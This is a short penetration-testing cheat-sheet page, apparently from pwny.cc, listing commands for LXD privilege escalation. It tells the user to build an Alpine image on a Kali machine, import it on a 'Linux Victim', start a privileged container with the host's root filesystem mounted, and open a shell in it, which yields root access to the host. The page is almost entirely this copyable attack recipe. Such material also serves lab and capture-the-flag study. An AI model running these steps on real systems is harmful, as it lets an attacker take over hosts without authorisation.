pwny.cc
Search…
Containers

LXD Privilege Escalation

1
#Download on your Kali Machine
2
git clone https://github.com/saghul/lxd-alpine-builder.git
3
cd lxd-alpine-builder
4
./build-alpine
5
6
#Send the .tar.gz created on Kali to Linux Victim & use this commands
7
lxc image import ./yourfilename.tar.gz --alias myimage
8
lxc image list (this should show you your image got loaded)
9
lxc init myimage ignite -c security.privileged=true
10
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
11
lxc start ignite
12
lxc exec ignite /bin/sh
Copied!
GitHub - saghul/lxd-alpine-builder: Build Alpine Linux images for LXD
GitHub
LXD Alpine Linux image builder
Copy link